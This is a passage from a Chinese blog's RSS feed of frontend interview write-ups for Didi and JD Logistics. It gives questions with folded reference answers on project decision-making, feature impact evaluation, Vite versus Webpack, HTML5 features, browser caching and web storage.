&lt;p&gt;&lt;strong&gt;语义化标签助力搜索引擎理解页面结构&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;</description></item><item><title>滴滴-社招-1年 · 第 1 轮 · 三面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-56/round-88/</link><pubDate>Mon, 28 Jul 2025 02:03:06 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-56/round-88/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-56/round-87/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-56/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本轮共 15 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-fcde3fad466c"&gt;1. 介绍一下实习项目的业务背景（这块说了蛮久）&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-e13e2c7222bb"&gt;2. 假如你是一个项目的负责人，面对一个新需求你会如何判断以及决策&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;业务价值与需求背景明确 / 技术可行性与风险评估 / 资源与时间合理估算&lt;br&gt;&lt;/li&gt;
&lt;li&gt;多方案设计与优劣比较 / 风险预判及缓解措施&lt;br&gt;&lt;/li&gt;
&lt;li&gt;结合团队和业务做权衡决策 / 明确执行计划与责任 / 持续跟进与复盘优化&lt;br&gt;&lt;/li&gt;
&lt;li&gt;沟通协调能力和风险管理能力是关键&lt;br&gt;&lt;/li&gt;
&lt;li&gt;决策既考虑短期交付，也兼顾长期维护和团队承受能力&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点"&gt;考察点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;评估候选人对需求分析和项目管理流程的理解&lt;br&gt;&lt;/li&gt;
&lt;li&gt;探查其在技术可行性、资源评估、风险管理等方面的判断能力&lt;br&gt;&lt;/li&gt;
&lt;li&gt;了解候选人如何在多方利益、时间与质量之间做权衡决策&lt;br&gt;&lt;/li&gt;
&lt;li&gt;关注其沟通协调和方案落地的思路&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="参考答案"&gt;参考答案&lt;/h3&gt;
&lt;h4 id="一需求理解与评估"&gt;一、需求理解与评估&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;明确需求背景和目标&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;充分沟通业务方，理解需求的业务价值、核心目标和痛点&lt;br&gt;&lt;/li&gt;
&lt;li&gt;判断该需求是新增功能、优化还是技术债清理&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;技术可行性分析&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;评估现有系统架构、技术栈对该需求的支持程度&lt;br&gt;&lt;/li&gt;
&lt;li&gt;识别技术难点和潜在风险，如性能、安全、兼容性等问题&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;资源与时间评估&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;估算开发、测试、上线所需的人力、时间和成本&lt;br&gt;&lt;/li&gt;
&lt;li&gt;考虑团队现有工作负载，排期合理性&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="二方案设计与风险控制"&gt;二、方案设计与风险控制&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;设计多套实现方案&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;比较不同方案的优劣，如技术复杂度、扩展性、维护成本&lt;br&gt;&lt;/li&gt;
&lt;li&gt;结合业务优先级和技术条件选择最优方案&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;风险预判与缓解&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;识别潜在风险点，设计应对措施（如技术预研、灰度发布）&lt;br&gt;&lt;/li&gt;
&lt;li&gt;规划阶段性验收，快速反馈，减少偏差&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="三决策与执行"&gt;三、决策与执行&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;结合业务战略和团队实际作出决策&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;权衡需求价值与资源限制，明确是否优先推动或延期&lt;br&gt;&lt;/li&gt;
&lt;li&gt;与产品、设计、测试等多方协作，达成共识&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;推动方案落地&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;制定详细开发计划，分解任务，明确负责人和时间节点&lt;br&gt;&lt;/li&gt;
&lt;li&gt;跟踪进展，快速解决过程中出现的问题&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;复盘与优化&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;需求完成后组织复盘，总结经验，优化流程&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-c5e77b182a65"&gt;3. 功能上线后如何判断这个功能上线前后的影响和优化有多少呢&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;明确功能目标和关键评估指标 / 多渠道数据采集与监控&lt;br&gt;&lt;/li&gt;
&lt;li&gt;功能上线前后指标对比 / A/B测试验证功能效果&lt;br&gt;&lt;/li&gt;
&lt;li&gt;用户反馈与定性分析辅助判断&lt;br&gt;&lt;/li&gt;
&lt;li&gt;定位影响原因，制定优化方案&lt;br&gt;&lt;/li&gt;
&lt;li&gt;持续监控、复盘和迭代形成闭环&lt;br&gt;&lt;/li&gt;
&lt;li&gt;兼顾数据驱动与用户体验&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点-1"&gt;考察点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;理解功能上线后效果评估的重要性及方法&lt;br&gt;&lt;/li&gt;
&lt;li&gt;掌握多维度数据监控和指标分析手段&lt;br&gt;&lt;/li&gt;
&lt;li&gt;能结合业务目标设计合理的评估方案&lt;br&gt;&lt;/li&gt;
&lt;li&gt;理解A/B测试、用户行为分析、性能监控等工具的应用&lt;br&gt;&lt;/li&gt;
&lt;li&gt;关注持续优化与反馈闭环&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="参考答案-1"&gt;参考答案&lt;/h3&gt;
&lt;h4 id="一明确评估目标和关键指标kpi"&gt;一、明确评估目标和关键指标（KPI）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;结合业务目标确定功能上线的核心衡量指标，如用户活跃度、转化率、留存率、错误率等&lt;br&gt;&lt;/li&gt;
&lt;li&gt;设计具体可量化的指标体系，保证评估具备科学性和针对性&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="二数据采集与监控"&gt;二、数据采集与监控&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;利用埋点、日志采集用户行为数据，覆盖点击、浏览、交互等关键操作&lt;br&gt;&lt;/li&gt;
&lt;li&gt;结合前端性能监控（如首屏时间、接口响应时间）与错误监控（JS报错、接口失败）&lt;br&gt;&lt;/li&gt;
&lt;li&gt;设置告警机制，实时监测异常情况&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="三功能上线前后的对比分析"&gt;三、功能上线前后的对比分析&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;历史对比&lt;/strong&gt;：将上线前后的关键指标进行趋势对比，分析变化幅度和方向&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;同类用户对比&lt;/strong&gt;：如果可行，采用A/B测试，控制组与实验组对比，确保因果关系明确&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用户反馈收集&lt;/strong&gt;：结合用户调查、客服反馈等定性信息辅助判断&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="四分析影响及优化空间"&gt;四、分析影响及优化空间&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;识别指标波动背后的具体原因，如性能瓶颈、交互体验问题等&lt;br&gt;&lt;/li&gt;
&lt;li&gt;结合用户反馈发现潜在需求或痛点&lt;br&gt;&lt;/li&gt;
&lt;li&gt;制定针对性优化方案，优先解决影响最大的瓶颈&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="五持续迭代与复盘"&gt;五、持续迭代与复盘&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;将监控和分析形成常态化流程，确保功能优化闭环&lt;br&gt;&lt;/li&gt;
&lt;li&gt;定期复盘评估结果，总结经验教训&lt;br&gt;&lt;/li&gt;
&lt;li&gt;结合业务目标调整优化策略，持续提升功能效果&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-bf34aa50fb92"&gt;4. 有去了解过用户反馈最多的问题或者诉求最强的问题是什么吗&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;</description></item><item><title>滴滴-社招-1年 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-56/round-87/</link><pubDate>Mon, 28 Jul 2025 01:53:33 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-56/round-87/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-56/round-86/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-56/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-56/round-88/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 浏览器渲染过程&lt;/p&gt;
&lt;p&gt;本轮共 11 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-038c546ee8da"&gt;1. 简单介绍一下你上一段实习中觉得做的比较好的项目&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-139b60ddec82"&gt;2. 想知道你们的项目大概是什么样的结构，你在开发的时候会从什么地方下手&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;理解项目结构和流程是高效开发的基础&lt;br&gt;&lt;/li&gt;
&lt;li&gt;先从入口和路由入手，理清全局数据和功能模块&lt;br&gt;&lt;/li&gt;
&lt;li&gt;注重调试和测试，减少开发盲点&lt;br&gt;&lt;/li&gt;
&lt;li&gt;合理利用团队协作工具提升开发效率&lt;br&gt;&lt;/li&gt;
&lt;li&gt;持续学习和总结，快速适应项目迭代&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点"&gt;考察点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;理解典型前端项目的整体结构及模块划分&lt;br&gt;&lt;/li&gt;
&lt;li&gt;掌握从项目启动到开发流程的系统思路&lt;br&gt;&lt;/li&gt;
&lt;li&gt;能清晰描述如何快速定位入口及关键代码区域&lt;br&gt;&lt;/li&gt;
&lt;li&gt;展示合理的开发习惯与代码管理思路&lt;br&gt;&lt;/li&gt;
&lt;li&gt;体现对团队协作和版本控制的认知&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="参考答案"&gt;参考答案&lt;/h3&gt;
&lt;h4 id="一典型前端项目结构说明"&gt;一、典型前端项目结构说明&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;目录结构&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;src/&lt;/code&gt;：项目源码，包含页面（Page）、组件（Component）、样式（Styles）、工具函数（Utils）、状态管理（Store）等&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;public/&lt;/code&gt; 或 &lt;code&gt;static/&lt;/code&gt;：静态资源，如图片、字体、favicon 等&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;build/&lt;/code&gt; 或 &lt;code&gt;scripts/&lt;/code&gt;：构建相关脚本和配置&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;config/&lt;/code&gt;：环境配置文件，如开发、测试、生产环境参数&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tests/&lt;/code&gt;：单元测试和集成测试代码&lt;br&gt;&lt;/li&gt;
&lt;li&gt;配置文件如 &lt;code&gt;package.json&lt;/code&gt;, &lt;code&gt;.babelrc&lt;/code&gt;, &lt;code&gt;webpack.config.js&lt;/code&gt; 或 &lt;code&gt;vite.config.js&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;关键文件&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;入口文件（如 &lt;code&gt;src/main.js&lt;/code&gt;、&lt;code&gt;src/index.js&lt;/code&gt;）负责挂载应用&lt;br&gt;&lt;/li&gt;
&lt;li&gt;路由配置文件定义页面导航&lt;br&gt;&lt;/li&gt;
&lt;li&gt;状态管理文件（如 Vuex、Redux）管理全局状态&lt;br&gt;&lt;/li&gt;
&lt;li&gt;公共组件库及工具函数模块&lt;br&gt;&lt;/li&gt;
&lt;li&gt;API 接口封装层，统一管理后端请求&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h4 id="二开发时的切入点及流程"&gt;二、开发时的切入点及流程&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;理解业务和需求&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;先明确当前任务目标和业务逻辑&lt;br&gt;&lt;/li&gt;
&lt;li&gt;查阅需求文档、设计稿和接口文档&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;定位项目入口&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;从入口文件入手，理清项目启动流程&lt;br&gt;&lt;/li&gt;
&lt;li&gt;理解路由配置，确定目标页面&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;代码结构梳理&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;理解页面层与组件层的关系&lt;br&gt;&lt;/li&gt;
&lt;li&gt;查找关键组件和功能模块的实现&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;查看状态管理和数据流&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;</description></item><item><title>滴滴-社招-1年 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-56/round-86/</link><pubDate>Mon, 28 Jul 2025 01:45:16 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-56/round-86/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-56/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-56/round-87/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 响应式原理、Webpack与Vite、https、浏览器渲染过程、浏览器的缓存机制&lt;/p&gt;
&lt;p&gt;本轮共 19 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-1760562f8190"&gt;1. 介绍一下简历中的组件库项目&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-dc78e2f9-568a-445d-988c-594092179848"&gt;2. 聊聊 vite 和 webpack 的区别&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/dc78e2f9-568a-445d-988c-594092179848"&gt;聊聊 vite 和 webpack 的区别&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Webpack&lt;/strong&gt;：成熟的模块打包工具，功能强大但配置复杂，适合需要高度定制和复杂构建需求的项目。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vite&lt;/strong&gt;：现代化的开发工具，提供快速的开发体验和优化的生产构建，适合追求开发效率和现代化特性的项目。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;选择 Vite 还是 Webpack 取决于项目的需求和开发团队的偏好。如果重点是开发体验和快速反馈，Vite 是一个很好的选择。如果需要高度定制化和广泛的插件支持，Webpack 可能更适合。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;Vite 和 Webpack 都是前端打包工具，它们的作用类似，但实现方式和使用方法有所不同。以下是它们之间的一些区别：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;构建速度&lt;/strong&gt;：Vite 的构建速度比 Webpack 更快，因为 Vite 在开发环境下使用了浏览器原生的 ES 模块加载，而不是像 Webpack 一样使用打包后的文件进行模块加载。在 Vite 中，每个模块都可以独立地进行编译和缓存，这意味着它只需要重新编译修改过的模块，而不是整个应用程序。这使得 Vite 开发起来更加高效。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;配置复杂度&lt;/strong&gt;：Vite 的配置相对更简单，因为它无需进行大量的配置，只需指定一些基本的选项就可以开始开发。Webpack 的配置更加复杂，需要针对具体项目进行不同的配置，且需要理解各种插件、Loader 等概念。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;生态环境&lt;/strong&gt;：Webpack 的生态环境更加成熟，在社区中拥有广泛的支持和丰富的插件库。而 Vite 尚处于发展阶段，尽管其已经获得了很多关注，但其生态系统仍然不太完善。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;功能特性&lt;/strong&gt;：Webpack 是一个功能更加全面的打包工具，支持各种 Loader 和插件，可以处理多种类型的文件和资源。而 Vite 的设计初衷是专注于开发环境下的快速构建，因此其对一些高级特性的支持相对较少。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;综上所述，Vite 更适合用于开发环境下的快速构建，而 Webpack 则更适合用于生产环境下的复杂应用程序的打包处理。选择使用哪种工具需要根据具体项目需求进行评估。&lt;/p&gt;</description></item><item><title>京东-物流-秋招 · 第 1 轮 · 第一轮</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-55/round-84/</link><pubDate>Sun, 27 Jul 2025 15:38:59 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-55/round-84/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-55/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-55/round-85/"&gt;第 2 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮概述：&lt;/strong&gt; 比较简单，主要考察一些前端基础知识。&lt;/p&gt;
&lt;p&gt;本轮共 21 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-f23da9a1e66b"&gt;1. 请你简单介绍一下自己，你研究生期间学了哪些课程？&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;计算机专业研究生，系统学习了相关理论课程，对前端技术有浓厚兴趣并有实践经验。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;本科学习计算机科学与技术专业，研究生阶段继续深入学习相关领域知识。研究生期间的核心课程包括高级数据结构与算法分析、分布式系统、软件架构设计、人工智能原理、计算机图形学、高级数据库系统等。同时选修了前端开发相关的课程，如Web技术与应用、用户界面设计等。在学习过程中，对前端技术产生了浓厚兴趣，通过自学掌握了React、Vue等主流框架，并在多个课程项目中实践应用。研究方向偏向Web技术和用户体验，毕业论文也是围绕前端性能优化展开的研究。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-63d61ea69e66"&gt;2. 在之前参与的项目里，你主要担任什么职责，都负责了哪些模块的开发呀？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;主要通过课程项目、实验室项目和实习积累经验，担任前端开发角色，涉及多种常见功能模块。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;主要参与过学校的课程项目、实验室项目以及一段实习经历。在课程项目中，通常担任前端开发的主要负责人，负责整体页面架构设计和核心功能实现。具体开发过在线学习平台的用户界面、数据可视化展示模块、以及实时聊天功能。在实验室项目中，参与开发了一个科研数据管理系统，主要负责数据录入界面、图表展示组件和用户权限管理前端部分。实习期间，在导师指导下参与了公司内部管理系统的开发，负责表单处理、文件上传和基础的增删改查功能。虽然项目规模不算很大，但通过这些实践对前端开发的完整流程有了较好的理解。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-a7d3a7ebf4fb"&gt;3. HTML5 相较于之前的版本有哪些新特性？&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;语义化标签、原生多媒体支持、Canvas绘图、增强表单、Web存储、丰富的API等新特性。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;HTML5相比之前版本引入了很多重要特性。语义化标签是最显著的改进，新增了header、nav、main、article、section、aside、footer等标签，让页面结构更清晰，也有利于SEO优化。多媒体支持方面，audio和video标签可以直接嵌入音视频内容，不再依赖Flash等插件。Canvas元素提供了强大的2D绘图能力，可以用JavaScript动态绘制图形和动画。表单功能得到增强，新增了email、url、date、range等输入类型，以及内置的表单验证功能。Web存储API包括localStorage和sessionStorage，提供了比cookie更好的本地存储方案。还有地理位置API、拖拽API、Web Workers等，为Web应用提供了更丰富的功能支持。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-401fcfdeaad6"&gt;4. 浏览器缓存这块，你是怎么理解的？&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;性能优化机制，通过HTTP头部控制，能减少网络请求但需要合理配置避免更新问题。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;浏览器缓存是Web性能优化的重要机制，通过在本地存储已请求的资源来减少网络请求，提升页面加载速度。在学习过程中了解到，缓存主要通过HTTP协议的相关头部来控制。当浏览器首次请求资源时，服务器会返回资源内容以及缓存相关的响应头，浏览器根据这些头部信息决定是否缓存资源以及缓存多长时间。再次请求相同资源时，浏览器会先检查本地缓存，如果缓存有效就直接使用，否则向服务器发起请求。这个机制在减少服务器负载、节省带宽、提升用户体验方面都有重要作用。在实际项目中也遇到过缓存导致的问题，比如更新代码后用户看不到最新内容。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-b745ed31e9e0"&gt;5. 浏览器缓存主要有哪些类型？&lt;/h2&gt;
&lt;h3 id="题目要点-4"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;HTTP缓存（强缓存、协商缓存）、内存缓存、磁盘缓存、Service Worker缓存等多层次缓存机制。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;浏览器缓存可以分为几个层次。HTTP缓存是最主要的类型，包括强缓存和协商缓存两种机制。强缓存通过Cache-Control和Expires头部设置过期时间，在有效期内直接使用本地缓存。协商缓存则通过ETag和Last-Modified与服务器确认资源是否有更新。除了HTTP缓存，还有内存缓存和磁盘缓存的区别，内存缓存速度快但容量小，磁盘缓存容量大但速度相对较慢。Service Worker缓存是比较新的技术，可以通过编程方式控制缓存策略，支持离线应用。另外还有DNS缓存、CDN缓存等，虽然不在浏览器内部，但也是整个缓存体系的组成部分。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-ebecd58cb4a6"&gt;6. 你有没有遇到过因为浏览器缓存带来的问题？比如，用户没有获取到最新的资源这种情况，你是怎么解决的？&lt;/h2&gt;
&lt;h3 id="题目要点-5"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;通过版本号、时间戳、文件hash等方式解决缓存更新问题，构建工具可以自动化处理。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;在做课程项目和实习期间确实遇到过这类问题。最典型的情况是修改了CSS或JavaScript文件后，浏览器仍然加载旧版本的文件，导致页面显示异常或功能不正常。刚开始遇到这种问题时比较困惑，后来学习了解到是缓存机制导致的。解决方法主要有几种：最简单的是在开发阶段使用浏览器的强制刷新功能，或者在开发者工具中禁用缓存。对于生产环境，学会了在文件名后添加版本号或时间戳参数来强制更新，比如style.css?v=1.0.1。后来了解到webpack等构建工具可以自动为文件生成hash值，这样文件内容改变时文件名也会改变，从而绕过缓存。这个问题让我深刻理解了缓存机制的重要性和复杂性。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-853dc4839edf"&gt;7. 说说 sessionStorage 和 localStorage 的区别&lt;/h2&gt;
&lt;h3 id="题目要点-6"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;主要区别在生命周期和作用域，sessionStorage会话级，localStorage持久化且可跨页面共享。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;这两个都是HTML5提供的Web存储API，在项目中都有使用过。&lt;/p&gt;
&lt;p&gt;最主要的区别是生命周期不同：sessionStorage只在当前浏览器标签页的会话期间有效，关闭标签页后数据就会被清除；而localStorage的数据会持久保存在用户设备上，除非主动删除或者达到存储限制。&lt;/p&gt;
&lt;p&gt;作用域方面也不同，sessionStorage的数据只能在当前标签页内访问，不同标签页之间是隔离的；localStorage则可以在同一域名下的所有页面间共享数据。&lt;/p&gt;
&lt;p&gt;在实际使用中，sessionStorage适合存储临时的会话相关数据，比如表单的临时保存；localStorage更适合存储用户偏好设置、购物车内容等需要跨会话保持的信息。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-b0d84ff50371"&gt;8. 除了它们的存储大小区别外，还有哪些不同？&lt;/h2&gt;
&lt;h3 id="题目要点-7"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;事件机制、安全特性、使用场景和数据共享能力等方面存在差异。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
